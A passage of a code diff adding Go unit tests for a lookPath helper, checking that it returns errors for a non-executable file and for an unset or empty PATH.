+	if err := os.WriteFile(binPath, []byte("data"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	env := makeTestEnv(map[string]string{"PATH": dir})
+	_, err := lookPath(env, "noexec")
+	if err == nil {
+		t.Error("expected error for non-executable file")
+	}
+}
+
+func TestLookPath_PATHNotSet(t *testing.T) {
+	env := makeTestEnv(map[string]string{})
+	_, err := lookPath(env, "ls")
+	if err == nil {
+		t.Error("expected error when PATH is not set")
+	}
+}
+
+func TestLookPath_PATHEmpty(t *testing.T) {
+	env := makeTestEnv(map[string]string{"PATH": ""})
+	_, err := lookPath(env, "ls")
+	if err == nil {
+		t.Error("expected error when PATH is empty")
+	}
+}